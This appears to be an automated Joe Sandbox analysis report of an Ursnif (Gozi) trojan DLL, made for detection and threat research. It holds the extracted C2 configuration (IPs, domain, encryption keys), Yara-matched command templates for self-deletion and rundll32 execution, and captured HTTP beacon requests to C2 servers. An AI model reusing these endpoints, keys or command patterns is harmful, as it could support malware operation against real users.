Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
login.dll

Overview

General Information

Sample Name:login.dll
Analysis ID:800174
MD5:34fe297ae7f34d3062cb6adb5363970a
SHA1:ab2c8edc316e5e55ce258bcc6f165ec9b7e92e28
SHA256:9cc3318cdf29c5b6a1c170facbd0e7849b674ecd2072d9741424709e0931f8cf
Tags:agenziaentratedll
Infos:

Detection

Ursnif
Score:96
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Writes or reads registry keys via WMI
Found API chain indicative of debugger detection
Found evasive API chain (may stop execution after checking system information)
Writes registry values via WMI
Uses 32bit PE files
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Registers a DLL
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 2956 cmdline: loaddll32.exe "C:\Users\user\Desktop\login.dll" MD5: 1F562FBF37040EC6C43C8D5EF619EA39)
    • conhost.exe (PID: 5148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 5296 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 5284 cmdline: rundll32.exe "C:\Users\user\Desktop\login.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • regsvr32.exe (PID: 5292 cmdline: regsvr32.exe /s C:\Users\user\Desktop\login.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
    • rundll32.exe (PID: 5192 cmdline: rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "u8HhtL7EmxtEfs3orWvYuC4MpoJP0xTDOM6KyVTBJQmSVbwn8LDhhpmGZYBKTu4hKgFIcMYhM5rQ7FCa/OLIJQQiBUUMKyCZGprVkaSN9Bna7+tLJGcfYZJ+QyuI/wLeGm3SREqBJ8okeoRGtogJgAw3a8XyzlNDKq55xoS4QwDzqlYEGodi4VXJLjrViqbFi+Lo/pPfNYKhpYX7yeJZhiOmKMlKQUD/5m4NX7d19CrKhxTxQNFmIcQz/dQosMsw2HcmDZxikcsjg53Ga7dNQbD+b8J8E7z1iphFgQKi/3CEQdOGdkS2UgWJLyzc1j7MXn3sdPSb5ym+nPYk785YSRIlanuJSu97PzC5wuc2uno=", "c2_domain": ["checklist.skype.com", "185.31.160.197", "31.41.44.76", "194.116.163.130"], "botnet": "7708", "server": "50", "serpent_key": "G0zIVwVIgJOrRjoZ", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
    • 0x1228:$a1: /C ping localhost -n %u && del "%s"
    • 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
    • 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
    • 0xa9c:$a5: filename="%.4u.%lu"
    • 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xe6d:$a9: &whoami=%s
    • 0xe56:$a10: %u.%u_%u_%u_x%u
    • 0xd63:$a11: size=%u&hash=0x%08x
    • 0xb1d:$a12: &uptime=%u
    • 0x6fb:$a13: %systemroot%\system32\c_1252.nls
    • 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
    00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_261f5ac5unknownunknown
    • 0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
    • 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu"
    • 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)
    • 0xd96:$a9: Software\AppDataLow\Software\Microsoft\
    • 0x1c80:$a9: Software\AppDataLow\Software\Microsoft\
    00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
      • 0x1228:$a1: /C ping localhost -n %u && del "%s"
      • 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
      • 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
      • 0xa9c:$a5: filename="%.4u.%lu"
      • 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
      • 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X
      • 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X
      • 0xe6d:$a9: &whoami=%s
      • 0xe56:$a10: %u.%u_%u_%u_x%u
      • 0xd63:$a11: size=%u&hash=0x%08x
      • 0xb1d:$a12: &uptime=%u
      • 0x6fb:$a13: %systemroot%\system32\c_1252.nls
      • 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
      Click to see the 118 entries

      Sigma Signatures

      ⊘No Sigma rule has matched

      Snort Signatures

      Timestamp:192.168.2.3185.31.160.19749700802033203 02/07/23-08:28:42.568213
      SID:2033203
      Source Port:49700
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749698802033204 02/07/23-08:28:33.230644
      SID:2033204
      Source Port:49698
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749698802033203 02/07/23-08:28:33.230644
      SID:2033203
      Source Port:49698
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3194.116.163.13049708802033203 02/07/23-08:29:22.880195
      SID:2033203
      Source Port:49708
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749710802033204 02/07/23-08:30:54.764009
      SID:2033204
      Source Port:49710
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749710802033203 02/07/23-08:30:54.764009
      SID:2033203
      Source Port:49710
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649703802033203 02/07/23-08:28:54.657052
      SID:2033203
      Source Port:49703
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749701802033203 02/07/23-08:28:49.502613
      SID:2033203
      Source Port:49701
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749701802033204 02/07/23-08:28:49.502613
      SID:2033204
      Source Port:49701
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649702802033204 02/07/23-08:28:53.381020
      SID:2033204
      Source Port:49702
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3194.116.163.13049709802033203 02/07/23-08:29:29.813831
      SID:2033203
      Source Port:49709
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749711802033203 02/07/23-08:30:55.036359
      SID:2033203
      Source Port:49711
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649702802033203 02/07/23-08:28:53.381020
      SID:2033203
      Source Port:49702
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3194.116.163.13049706802033203 02/07/23-08:29:13.527448
      SID:2033203
      Source Port:49706
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749699802033203 02/07/23-08:28:34.491511
      SID:2033203
      Source Port:49699
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749699802033204 02/07/23-08:28:34.491511
      SID:2033204
      Source Port:49699
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649705802033203 02/07/23-08:29:09.669739
      SID:2033203
      Source Port:49705
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649705802033204 02/07/23-08:29:09.669739
      SID:2033204
      Source Port:49705
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749712802033203 02/07/23-08:31:04.384827
      SID:2033203
      Source Port:49712
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649704802033203 02/07/23-08:29:02.729134
      SID:2033203
      Source Port:49704
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649704802033204 02/07/23-08:29:02.729134
      SID:2033204
      Source Port:49704
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: login.dllReversingLabs: Detection: 15%
      Source: login.dllVirustotal: Detection: 16%Perma Link
      Source: 00000004.00000002.777145093.0000000004F99000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "u8HhtL7EmxtEfs3orWvYuC4MpoJP0xTDOM6KyVTBJQmSVbwn8LDhhpmGZYBKTu4hKgFIcMYhM5rQ7FCa/OLIJQQiBUUMKyCZGprVkaSN9Bna7+tLJGcfYZJ+QyuI/wLeGm3SREqBJ8okeoRGtogJgAw3a8XyzlNDKq55xoS4QwDzqlYEGodi4VXJLjrViqbFi+Lo/pPfNYKhpYX7yeJZhiOmKMlKQUD/5m4NX7d19CrKhxTxQNFmIcQz/dQosMsw2HcmDZxikcsjg53Ga7dNQbD+b8J8E7z1iphFgQKi/3CEQdOGdkS2UgWJLyzc1j7MXn3sdPSb5ym+nPYk785YSRIlanuJSu97PzC5wuc2uno=", "c2_domain": ["checklist.skype.com", "185.31.160.197", "31.41.44.76", "194.116.163.130"], "botnet": "7708", "server": "50", "serpent_key": "G0zIVwVIgJOrRjoZ", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C51508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,0_2_02C51508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE1508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,4_2_04BE1508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D51508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,5_2_04D51508
      Source: login.dllStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
      Source: login.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB411D0 FindWindowA,DestroyWindow,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetSystemDirectoryA,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,PathAppendA,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetEnvironmentStrings,task,FindFirstFileA,FindNextFileA,task,FindClose,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetTickCount,LoadLibraryExA,GetProcAddress,SleepEx,FreeLibrary,SendMessageTimeoutA,KiUserCallbackDispatcher,task,ExitProcess,DefWindowProcA,task,DestroyWindow,PostQuitMessage,DefWindowProcA,0_2_6CB411D0
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB622BF FindFirstFileExW,0_2_6CB622BF

      Networking

      barindex
      System process connects to network (likely due to code injection or exploit)
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 31.41.44.76 80Jump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.31.160.197 80Jump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeDomain query: checklist.skype.com
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 194.116.163.130 80Jump to behavior
      Snort IDS alert for network traffic
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49698 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49698 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49699 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49699 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49700 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49701 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49701 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49702 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49702 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49703 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49704 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49704 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49705 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49705 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49706 -> 194.116.163.130:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49708 -> 194.116.163.130:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49709 -> 194.116.163.130:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49710 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49710 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49711 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49712 -> 185.31.160.197:80
      Source: Joe Sandbox ViewASN Name: ASRELINKRU ASRELINKRU
      Source: Joe Sandbox ViewASN Name: SPACENET-ASInternetServiceProviderRU SPACENET-ASInternetServiceProviderRU
      Source: global trafficHTTP traffic detected: GET /drew/YnuOM5xT27p0PmRl1Cwn/sHfpKrHtm3IGAqKf5oE/1_2FQ7swiV75HAr8OQp4_2/FTJuvvpsJ4vrE/5CHodcYH/FvKE3Awud_2FuI6D8RC4vxO/jlBJVJhS1W/kWWybhfV9ayTjhbnf/bYlxgQ0l6E5_/2Be4zTGPJXY/1jOL3CdqlKh9V7/C3fq9ZEtYfl8Q_2BXYnQR/ZutaXynzRXd4iLId/_2BYxjCGmLsaVaV/ijuyPyyQi_2FEga3LP/wr7j4_2Fp/DHPaKLP54f0U3CWbY84f/moy8sWWVBKAm6XbHQuu/smXEt13.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9gZmiMRTyysYi/MDWwBphU1_2F4nDtPCwb7Q/d2SnzYa3MGBY0/YibZ_2BM/j6T2h_2BnsnstyqO_2FdZkB/f46qik_2BK/_2F_2B_2FqlG_2Ff_/2FUcQnSgjIge/QPz1KCD9GeI/UkTDE6hQf5nEi3/mZoYVayKfEJLWN9ucg88R/I4BoM1NdGVsllvKy/8qL9zvI3U3rVf09/ugaVsxQgobuqMU7KMf/DgyN9EOdWaey/ukl7G09K/W.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/ZjtQC4I6JpAmKA/shomVIZDW6adTf3wvhQQM/XpDTW2_2BvYwSuTA/CcCSiHnloLUnuOd/nHOnFSS4oDhB9LKTz4/EbcJkQjsj/31x_2BMGIf4fzrhyKm1i/PYUgpXsGkrpzf57_2BP/_2BaOfiBbQWVNNpD2JWxuq/LvCFSRMp622qP/ryji2IUB/uo2rKyguYrE4da_2FMANukU/IP9j47UKC0/7W20oOz86Rs7mAnVP/W222Dtx9Q_2F/74bAp065zTq/pvNG5UWqmIK2kj/IicnzIIs5xLn78iTxatX9/CmOTqWu.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYSpKl48rwMxG3fS_2Bh/kyZDOxqU4b_2FpF4/WoAtYbEKP2GNHwJ/IpgKqUcAf6Rp2Udzmk/LaML_2FTW/lYRaZ_2BK5ar8SZhZsu5/_2BxBTtQn722DxwGyVC/pVSF1NREJUJBkD37zO9rNZ/zFf3wm2ZVOuZj/EYr3Y1KR/mPXfKnLCL_2BrxjlwGgxBlT/8pNS8_2BGz/EzV33yjOW6jnBdU_2/FcxIS0uffSkY/8y8vXK3ZLX7jmj/L.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/YiQ5UyNb1AJgnvxjy_2BM/RlH5WVve6OZwHuHV/nWvcJh7IwU8V_2F/BAKhUnv4WDO432I6Cy/hDkFT5W1K/UJNhYmXmogUNCrCSqk5H/lS4rHem3dtLce0YT1QS/hkZ_2FBKDoY9IQgRqEdbQJ/3CyYFvLdQzHVg/x7rsQTcN/W7sIIHrQcumHRyF3UrWRrg1/4VahkAPD5t/oKgqaEX091n4L_2F5/fCfjur48K8Qg/sG5u_2FUEjo/pZ6TXsstKDeNva/ND7kaJkrgLTjxReq37gkL/qhhWkG_2Bnto3f/e4V_2BaI/1.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2FsWhRs/_2BrPOgzoCK7kxbVkt/oe_2BqS0X/nJkE02wURCRcr3jmcRLy/EThsMigo1zfS9ty0ee_/2ByStDMdmFmYA3tiMo12kA/KlC_2FTJrPIRb/oDPOe247/qLaUvbKqJn0IyrixuXOD916/hv1gsxxC3Y/5zpLW0YacAYowmRRR/IpB6xQpV8yYA/5T1p4hnGVC4/5TMFifNpxbmTmv/g3suENklraBwgzMg/w.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/9ldJ1gNErtKQm/l5H3Dchh/a9qDKYJb7cK_2Bom3umM3Ef/igE6eKTjTL/sM2RKHr6eeCJgV2M_/2Btmb2QJYdsy/pwOZ0ePX_2F/1SJLCuAp0_2BGo/MB_2FlNwbKUb4XpI1RSx7/2gEZl2vbzfIAt6DE/EVukzyfE91n3kr0/nv2arCnMEYPJTvV2vj/Iw9YoywE2/nqt_2BF28XHfDbaLVr0S/hkIav6Fl_2BCPTRld8o/O8WvbV3Lrnw_2BgKsKzO5M/wdeSHSWNd9WmC/pMMFvCmx/_2B20NmtBVG0is9VnZ_2FQ7/j4avM4.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/vr_2B0Ss/hnAfqRh8WqONqQTajFZspU1/n47dz3bnIJ/nr8avK457NdUiLqTL/ZRUWzmBgh_2F/l2jCI4l2WIb/ZlcAov2mWHtc4S/IG5qrKW1Ucsl7HXDhkMb1/UuHpO9lWfV8IVisA/sRsBPsEmP9EnOLW/4DYnyZIHkFVSNadLYL/KhWfwPGS0/z_2BGNhOv1Zl_2FVwYsz/N9ptvDeoH0GEOu8UzRp/tA_2FymU7H4cLFwKrxJBW8/lEpnlzJEfo_2B/TkI4tuDd/jl9PFma2CyccawGQrYOkvDD/r_2F6X4O31/J7n.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/lIwih8DgqvU8q/wBSeo3Ik/2zDJI9Vfh8aCFQbpIGY1Gz5/6q81ddOtq2/4ULtrIM_2BEdMCi_2/B3LtElUMjUq8/ykAcaKXUUON/C70tYww8NuU_2B/Qnh1skDTZkUCnTL9XF_2B/aiyp8l662ZO_2BMs/X9BekuAIwiuALz2/v_2BTtX2yyeEbmIuLE/7WgtmmHUz/QkNTxGWjmb27vMlbCUnP/gKCziHhf8nzBjzpOWIV/c0bqvUD_2FGIpZbFRXCt82/x01HXQ2nbZghY/do8q6AUT/ilguTeIeFEYE/ruKVa85Vts/p.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UVp3Gh3ls9EFwLl5Jc3BZN/nGUe5TcWlRkhl/Vbch5ltk/8hxF3_2Bp3HJgW9iErNujVg/8qo57FnWLw/M00mJuAkLwqexX60_/2Ba6EndxloMt/uW3YZxSkfRY/M53qt3qEulUeT4/fTMrLhRVTec_2FdJ5jp6x/nB5Wk73hWf1u6uat/Iu7q3DTCQdUsQRD/i2qOhoPPYn3YePHW7u/xqbc969YZhc3G/cPhv8.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/Qf8veUJSbJWr/7lAEj8zPysi/PkDl25ePqDI0mO/NCCWESxolfgmnP22UsTr8/wqLYFq_2BxIKE1eW/qSpp9_2B5sFoBDM/Qqs0G5It1nbxCoX126/y2EL52tIQ/ox_2FFB5mgE6T239nJXG/k9kwxCZbCeCFO2jL1kR/x1fMQ88Ph64gkQxb3NmmiZ/GmsAvbJmVh0Jm/tws4Qzjc/z_2FnaryumtjXFtwB2yfxF5/XDoip4vmKE/LjA3gkWhyM_2BI5L7/uM2W4YAxbdGx/OzOP5CNWAKZ/765rFe2Xu_2BfT6/mGCq.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pdU5IXdpzFO54gr3_2F97n/SVVjHicscA15t/l6VtmWpP/71vHxqjc99D6co7U7_2Fe6g/n1qCYEFXGL/KpBZjIAujeCiOYPPJ/DtliWKU_2BEs/C_2BudJz9AO/WcvMnXMUPqAgay/OXgiy11BNNdmXwccKrHVq/3wydv2y.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/WssPGtPw9/cInsr4z6sL58bW1qFACy/FPGytKj5sF_2FJhHDbS/JMVb_2F9jtmGpLuldBc30T/geFSag0kzmRYH/bkk9mxLu/T1Vk5rnPNwJhQZh14vDt0p5/P_2B1hkVRr/UipQ1gxWfytKWu_2F/6BcCYE5HNWOT/zEWstqB3_2B/DtUz5JgsOCfC_2/FsybDaKHmMdU1vCLMfI5x/6SHr0VZWsd3ZSFoq/_2FoNuCdDOJjmcC/wYxb3p1qFp9rBbBBCA/RR6vk5u_2/BuskSJGsdXgk1UBg9plO/yWHXNMOtiR1Ac4/RuM.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrErm/5nEhtgG7Hp2/zbOXjiri8c5UQP/HwViNu2EHfWxjBwk3As1s/29DojuZF5zhJISfQ/H3WqudbNq23cuko/N6r3xnulzXgdgfn7r3/iMzXt36Pz/hTsJCgysUP32NXqzsCHB/WEkiHTP3N6okgNckR9a/O3kCLqh9_2BveKs4VkbfTJ/dliNqPNdIvs8S/MeBvpSBz/csPLNKavKSKaNIKnwbXXUim/YNfJ4.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
